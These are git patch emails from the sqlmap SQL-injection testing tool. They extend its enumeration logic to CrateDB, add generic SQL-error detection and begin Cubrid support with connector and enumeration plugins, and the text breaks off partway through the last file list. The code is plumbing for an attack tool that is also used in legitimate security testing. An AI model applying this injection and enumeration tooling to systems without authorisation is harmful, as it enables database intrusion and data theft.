warnMsg += "for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" @@ -602,7 +602,7 @@ class Databases(object): condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB): query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery @@ -744,7 +744,7 @@ class Databases(object): condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB): query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery @@ -811,7 +811,7 @@ class Databases(object): continue for index in getLimitRange(count): - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.VERTICA, DBMS.PRESTO): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery field = None @@ -865,7 +865,7 @@ class Databases(object): singleTimeWarnMessage(warnMsg) if not onlyColNames: - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db)) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper())) diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index c6fc7677a..117d9a221 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -233,7 +233,7 @@ class Entries(object): entries = BigArray(_zip(*[entries[colName] for colName in colList])) else: query = rootQuery.inband.query % (colString, conf.db, tbl) - elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO): + elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB): query = rootQuery.inband.query % (colString, conf.db, tbl, prioritySortColumns(colList)[0]) else: query = rootQuery.inband.query % (colString, conf.db, tbl) @@ -329,9 +329,7 @@ class Entries(object): elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL, DBMS.INFORMIX, DBMS.MCKOI): if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI): table = tbl - elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): - table = "%s.%s" % (conf.db, tbl) - elif Backend.isDbms(DBMS.MAXDB): + elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL, DBMS.MAXDB): table = "%s.%s" % (conf.db, tbl) elif Backend.isDbms(DBMS.INFORMIX): table = "%s:%s" % (conf.db, tbl) @@ -406,7 +404,7 @@ class Entries(object): if column not in entries: entries[column] = BigArray() - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE,): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index) @@ -418,7 +416,7 @@ class Entries(object): query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl) elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, sorted(colList, key=len)[0]) - elif Backend.isDbms(DBMS.MONETDB): + else: query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, tbl, index) query = agent.whereQuery(query) From 18b72e605a0631543a5f9400fc86c64c16190184 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 2 Feb 2020 14:59:13 +0100 Subject: [PATCH 131/159] Trivial update --- data/xml/errors.xml | 25 ++++--------------------- lib/core/settings.py | 2 +- 2 files changed, 5 insertions(+), 22 deletions(-) diff --git a/data/xml/errors.xml b/data/xml/errors.xml index f2c41c2df..3079b79b2 100644 --- a/data/xml/errors.xml +++ b/data/xml/errors.xml @@ -1,7 +1,6 @@ - @@ -21,7 +20,6 @@ - @@ -37,7 +35,6 @@ - @@ -59,7 +56,6 @@ - @@ -68,7 +64,6 @@ - @@ -83,7 +78,6 @@ - @@ -95,7 +89,6 @@ - @@ -115,7 +108,6 @@ - @@ -130,7 +122,6 @@ - @@ -138,7 +129,6 @@ - @@ -148,7 +138,6 @@ - @@ -156,39 +145,33 @@ - - - - - - @@ -197,13 +180,11 @@ - - @@ -211,14 +192,16 @@ - - + + + + diff --git a/lib/core/settings.py b/lib/core/settings.py index 98191128c..89549dae9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.2.3" +VERSION = "1.4.2.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From db126af86a69b9a16b0d14ec1c5f9022a4578814 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 2 Feb 2020 21:07:53 +0100 Subject: [PATCH 132/159] Minor generalization for special cases --- lib/core/agent.py | 5 +++-- lib/core/settings.py | 2 +- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index aff58a915..3e260637a 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -300,8 +300,9 @@ class Agent(object): where = getTechniqueData().where if where is None else where comment = getTechniqueData().comment if comment is None else comment - if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI) and any((comment or "").startswith(_) for _ in ("--", GENERIC_SQL_COMMENT_MARKER)): - comment = queries[Backend.getIdentifiedDbms()].comment.query + if any((comment or "").startswith(_) for _ in ("--", GENERIC_SQL_COMMENT_MARKER)): + if not GENERIC_SQL_COMMENT.startswith(queries[Backend.getIdentifiedDbms()].comment.query): + comment = queries[Backend.getIdentifiedDbms()].comment.query if comment is not None: expression += comment diff --git a/lib/core/settings.py b/lib/core/settings.py index 89549dae9..a11d21a86 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.2.4" +VERSION = "1.4.2.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 4278bbce11540c1eb6afa093ac238850b41fdc2a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 2 Feb 2020 22:01:57 +0100 Subject: [PATCH 133/159] Patch for sporadic --parse-errors in generic SQL errors (e.g. CrateDB) --- lib/core/common.py | 6 ++++++ lib/core/settings.py | 2 +- lib/parse/html.py | 8 ++++---- 3 files changed, 11 insertions(+), 5 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index f21fb0d6f..57b16ff48 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2703,6 +2703,12 @@ def extractErrorMessage(page): retVal = candidate break + if not retVal and wasLastResponseDBMSError(): + match = re.search(r"[^\n]*SQL[^\n:]*:[^\n]*", page, re.IGNORECASE) + + if match: + retVal = match.group(0) + return retVal def findLocalPort(ports): diff --git a/lib/core/settings.py b/lib/core/settings.py index a11d21a86..c06875c3f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.2.5" +VERSION = "1.4.2.6" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/html.py b/lib/parse/html.py index a1e412ebf..9f73c519b 100644 --- a/lib/parse/html.py +++ b/lib/parse/html.py @@ -73,6 +73,10 @@ def htmlParser(page): handler = HTMLHandler(page) key = hash(page) + # generic SQL warning/error messages + if re.search(r"SQL (warning|error|syntax)", page, re.I): + handler._markAsErrorPage() + if key in kb.cache.parsedDbms: retVal = kb.cache.parsedDbms[key] if retVal: @@ -89,8 +93,4 @@ def htmlParser(page): kb.cache.parsedDbms[key] = handler.dbms - # generic SQL warning/error messages - if re.search(r"SQL (warning|error|syntax)", page, re.I): - handler._markAsErrorPage() - return handler.dbms From 264a270985f9fe5c4797d0cc880997ce47b380e6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 3 Feb 2020 01:58:12 +0100 Subject: [PATCH 134/159] Adding initial support for Cubrid --- data/xml/queries.xml | 67 +++++++++++++++++++++ lib/controller/handler.py | 4 ++ lib/core/agent.py | 6 +- lib/core/common.py | 4 +- lib/core/dicts.py | 3 + lib/core/enums.py | 2 + lib/core/settings.py | 8 ++- lib/utils/deps.py | 2 + plugins/dbms/cubrid/__init__.py | 30 ++++++++++ plugins/dbms/cubrid/connector.py | 59 +++++++++++++++++++ plugins/dbms/cubrid/enumeration.py | 32 ++++++++++ plugins/dbms/cubrid/filesystem.py | 11 ++++ plugins/dbms/cubrid/fingerprint.py | 94 ++++++++++++++++++++++++++++++ plugins/dbms/cubrid/syntax.py | 23 ++++++++ plugins/dbms/cubrid/takeover.py | 28 +++++++++ plugins/generic/databases.py | 4 +- 16 files changed, 367 insertions(+), 10 deletions(-) create mode 100644 plugins/dbms/cubrid/__init__.py create mode 100644 plugins/dbms/cubrid/connector.py create mode 100644 plugins/dbms/cubrid/enumeration.py create mode 100644 plugins/dbms/cubrid/filesystem.py create mode 100644 plugins/dbms/cubrid/fingerprint.py create mode 100644 plugins/dbms/cubrid/syntax.py create mode 100644 plugins/dbms/cubrid/takeover.py diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 3677a5151..6bd4ec287 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -1381,4 +1381,71 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/lib/controller/handler.py b/lib/controller/handler.py index 7c3ed9e2b..97f87c407 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -14,6 +14,7 @@ from lib.core.exception import SqlmapConnectionException from lib.core.settings import ACCESS_ALIASES from lib.core.settings import ALTIBASE_ALIASES from lib.core.settings import CRATEDB_ALIASES +from lib.core.settings import CUBRID_ALIASES from lib.core.settings import DB2_ALIASES from lib.core.settings import DERBY_ALIASES from lib.core.settings import FIREBIRD_ALIASES @@ -40,6 +41,8 @@ from plugins.dbms.altibase.connector import Connector as AltibaseConn from plugins.dbms.altibase import AltibaseMap from plugins.dbms.cratedb.connector import Connector as CrateDBConn from plugins.dbms.cratedb import CrateDBMap +from plugins.dbms.cubrid.connector import Connector as CubridConn +from plugins.dbms.cubrid import CubridMap from plugins.dbms.db2.connector import Connector as DB2Conn from plugins.dbms.db2 import DB2Map from plugins.dbms.derby.connector import Connector as DerbyConn @@ -105,6 +108,7 @@ def setHandler(): (DBMS.ALTIBASE, ALTIBASE_ALIASES, AltibaseMap, AltibaseConn), (DBMS.MIMERSQL, MIMERSQL_ALIASES, MimerSQLMap, MimerSQLConn), (DBMS.CRATEDB, CRATEDB_ALIASES, CrateDBMap, CrateDBConn), + (DBMS.CUBRID, CUBRID_ALIASES, CubridMap, CubridConn), ] _ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items) diff --git a/lib/core/agent.py b/lib/core/agent.py index 3e260637a..2d792e459 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -301,7 +301,7 @@ class Agent(object): comment = getTechniqueData().comment if comment is None else comment if any((comment or "").startswith(_) for _ in ("--", GENERIC_SQL_COMMENT_MARKER)): - if not GENERIC_SQL_COMMENT.startswith(queries[Backend.getIdentifiedDbms()].comment.query): + if Backend.getIdentifiedDbms() and not GENERIC_SQL_COMMENT.startswith(queries[Backend.getIdentifiedDbms()].comment.query): comment = queries[Backend.getIdentifiedDbms()].comment.query if comment is not None: @@ -660,7 +660,7 @@ class Agent(object): elif fieldsNoSelect: concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop) - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB): + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID): if fieldsExists: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery += "||'%s'" % kb.chars.stop @@ -949,7 +949,7 @@ class Agent(object): fromFrom = limitedQuery[fromIndex + 1:] orderBy = None - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CUBRID): limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1) limitedQuery += " %s" % limitStr diff --git a/lib/core/common.py b/lib/core/common.py index 57b16ff48..e498e5d8a 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4076,7 +4076,7 @@ def safeSQLIdentificatorNaming(name, isTable=False): if retVal.upper() in kb.keywords or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal) retVal = unsafeSQLIdentificatorNaming(retVal) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users) + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users) retVal = "`%s`" % retVal elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB): retVal = "\"%s\"" % retVal @@ -4114,7 +4114,7 @@ def unsafeSQLIdentificatorNaming(name): retVal = name if isinstance(name, six.string_types): - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE): retVal = name.replace("`", "") elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB): retVal = name.replace("\"", "") diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 5c18d74d0..24e8c5790 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -13,6 +13,7 @@ from lib.core.settings import ACCESS_ALIASES from lib.core.settings import ALTIBASE_ALIASES from lib.core.settings import BLANK from lib.core.settings import CRATEDB_ALIASES +from lib.core.settings import CUBRID_ALIASES from lib.core.settings import DB2_ALIASES from lib.core.settings import DERBY_ALIASES from lib.core.settings import FIREBIRD_ALIASES @@ -214,6 +215,7 @@ DBMS_DICT = { DBMS.ALTIBASE: (ALTIBASE_ALIASES, None, None, None), DBMS.MIMERSQL: (MIMERSQL_ALIASES, "mimerpy", "https://github.com/mimersql/MimerPy", None), DBMS.CRATEDB: (CRATEDB_ALIASES, "python-psycopg2", "http://initd.org/psycopg/", "postgresql"), + DBMS.CUBRID: (CUBRID_ALIASES, "CUBRID-Python", "https://github.com/CUBRID/cubrid-python", None), } # Reference: https://blog.jooq.org/tag/sysibm-sysdummy1/ @@ -245,6 +247,7 @@ HEURISTIC_NULL_EVAL = { DBMS.ALTIBASE: "TDESENCRYPT(NULL,NULL)", DBMS.MIMERSQL: "ASCII_CHAR(256)", DBMS.CRATEDB: "(NULL~NULL)", + DBMS.CUBRID: "(NULL SETEQ NULL)", } SQL_STATEMENTS = { diff --git a/lib/core/enums.py b/lib/core/enums.py index f8f8aa7f8..ffefec653 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -53,6 +53,7 @@ class DBMS(object): ALTIBASE = "Altibase" MIMERSQL = "MimerSQL" CRATEDB = "CrateDB" + CUBRID = "Cubrid" class DBMS_DIRECTORY_NAME(object): ACCESS = "access" @@ -76,6 +77,7 @@ class DBMS_DIRECTORY_NAME(object): ALTIBASE = "altibase" MIMERSQL = "mimersql" CRATEDB = "cratedb" + CUBRID = "cubrid" class FORK(object): MARIADB = "MariaDB" diff --git a/lib/core/settings.py b/lib/core/settings.py index c06875c3f..fbd8360a5 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.2.6" +VERSION = "1.4.2.7" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -267,6 +267,7 @@ PRESTO_SYSTEM_DBS = ("information_schema",) ALTIBASE_SYSTEM_DBS = ("SYSTEM_",) MIMERSQL_SYSTEM_DBS = ("information_schema", "SYSTEM",) CRATEDB_SYSTEM_DBS = ("information_schema", "pg_catalog", "sys") +CUBRID_SYSTEM_DBS = ("",) # Note: () + () MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms") @@ -290,13 +291,14 @@ PRESTO_ALIASES = ("presto",) ALTIBASE_ALIASES = ("altibase",) MIMERSQL_ALIASES = ("mimersql", "mimer") CRATEDB_ALIASES = ("cratedb", "crate") +CUBRID_ALIASES = ("cubrid",) DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_")) -SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CRATEDB_ALIASES +SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES SUPPORTED_OS = ("linux", "windows") -DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES)) +DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES)) USER_AGENT_ALIASES = ("ua", "useragent", "user-agent") REFERER_ALIASES = ("ref", "referer", "referrer") diff --git a/lib/utils/deps.py b/lib/utils/deps.py index 3fbb822f8..1c330931d 100644 --- a/lib/utils/deps.py +++ b/lib/utils/deps.py @@ -56,6 +56,8 @@ def checkDependencies(): __import__("prestodb") elif dbmsName == DBMS.MIMERSQL: __import__("mimerpy") + elif dbmsName == DBMS.CUBRID: + __import__("CUBRIDdb") except: warnMsg = "sqlmap requires '%s' third-party library " % data[1] warnMsg += "in order to directly connect to the DBMS " diff --git a/plugins/dbms/cubrid/__init__.py b/plugins/dbms/cubrid/__init__.py new file mode 100644 index 000000000..73dacb32e --- /dev/null +++ b/plugins/dbms/cubrid/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import CUBRID_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.cubrid.enumeration import Enumeration +from plugins.dbms.cubrid.filesystem import Filesystem +from plugins.dbms.cubrid.fingerprint import Fingerprint +from plugins.dbms.cubrid.syntax import Syntax +from plugins.dbms.cubrid.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class CubridMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Cubrid methods + """ + + def __init__(self): + self.excludeDbsList = CUBRID_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.CUBRID] = Syntax.escape diff --git a/plugins/dbms/cubrid/connector.py b/plugins/dbms/cubrid/connector.py new file mode 100644 index 000000000..6f0850464 --- /dev/null +++ b/plugins/dbms/cubrid/connector.py @@ -0,0 +1,59 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +try: + import CUBRIDdb +except: + pass + +import logging + +from lib.core.common import getSafeExString +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://github.com/CUBRID/cubrid-python + User guide: https://github.com/CUBRID/cubrid-python/blob/develop/README.md + API: https://www.python.org/dev/peps/pep-0249/ + License: BSD License + """ + + def connect(self): + self.initConnection() + + try: + self.connector = CUBRIDdb.connect(hostname=self.hostname, username=self.user, password=self.password, database=self.db, port=self.port, connect_timeout=conf.timeout) + except CUBRIDdb.DatabaseError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except CUBRIDdb.DatabaseError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + return None + + def execute(self, query): + try: + self.cursor.execute(query) + except CUBRIDdb.DatabaseError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + except CUBRIDdb.Error as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.connector.commit() + + def select(self, query): + self.execute(query) + return self.fetchall() diff --git a/plugins/dbms/cubrid/enumeration.py b/plugins/dbms/cubrid/enumeration.py new file mode 100644 index 000000000..c41565ac6 --- /dev/null +++ b/plugins/dbms/cubrid/enumeration.py @@ -0,0 +1,32 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getPasswordHashes(self): + warnMsg = "on Cubrid it is not possible to enumerate password hashes" + logger.warn(warnMsg) + + return {} + + def getStatements(self): + warnMsg = "on Cubrid it is not possible to enumerate the SQL statements" + logger.warn(warnMsg) + + return [] + + def getRoles(self, *args, **kwargs): + warnMsg = "on Cubrid it is not possible to enumerate the user roles" + logger.warn(warnMsg) + + return {} + + def getHostname(self): + warnMsg = "on Cubrid it is not possible to enumerate the hostname" + logger.warn(warnMsg) diff --git a/plugins/dbms/cubrid/filesystem.py b/plugins/dbms/cubrid/filesystem.py new file mode 100644 index 000000000..e8c642492 --- /dev/null +++ b/plugins/dbms/cubrid/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass diff --git a/plugins/dbms/cubrid/fingerprint.py 